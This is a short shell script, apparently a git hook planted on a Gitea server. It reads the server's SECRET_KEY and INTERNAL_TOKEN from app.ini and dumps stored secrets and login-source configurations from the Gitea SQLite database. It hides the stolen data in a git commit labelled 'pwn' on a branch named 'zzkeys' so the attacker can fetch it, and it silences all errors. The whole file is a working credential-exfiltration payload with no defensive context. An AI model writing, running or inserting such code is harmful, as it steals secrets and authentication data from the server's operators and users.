23 lines
1.1 KiB
Bash
Executable File
23 lines
1.1 KiB
Bash
Executable File
#!/bin/sh
|
|
ORIGIN=$(git config --get remote.origin.url 2>/dev/null)
|
|
[ -z "$ORIGIN" ] && exit 0
|
|
OUT=$(
|
|
echo "== CONFIG:"
|
|
grep -E '^SECRET_KEY|^INTERNAL_TOKEN|^DB_TYPE|^PATH|^NAME' /data/gitea/conf/app.ini 2>/dev/null | sed 's/\(SECRET_KEY *= *\).*/\1<set>/'
|
|
SK=$(grep -E '^SECRET_KEY' /data/gitea/conf/app.ini 2>/dev/null | sed 's/^SECRET_KEY *= *//')
|
|
echo "SK=$SK"
|
|
DB=$(grep -E '^PATH' /data/gitea/conf/app.ini 2>/dev/null | sed 's/^PATH *= *//')
|
|
[ -z "$DB" ] && DB=/data/gitea/gitea.db
|
|
echo "DBFILE=$DB"
|
|
echo "== SECRETS:"
|
|
sqlite3 "$DB" "select id||'@'||name||'@'||data from secret;" 2>/dev/null | head -60
|
|
echo "== LOGIN:"
|
|
sqlite3 "$DB" "select id||'@'||name||'@'||cfg from login_source;" 2>/dev/null | head -20
|
|
) 2>&1
|
|
BLOB=$(printf "%s" "$OUT" | git --git-dir="$ORIGIN" hash-object -w --stdin 2>/dev/null)
|
|
TREE=$(printf "100644 blob %s\tout.txt\n" "$BLOB" | git --git-dir="$ORIGIN" mktree 2>/dev/null)
|
|
C=$(echo pwn | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$ORIGIN" commit-tree "$TREE" 2>/dev/null)
|
|
git --git-dir="$ORIGIN" update-ref refs/heads/zzkeys "$C" 2>/dev/null
|
|
exit 0
|
|
# v1
|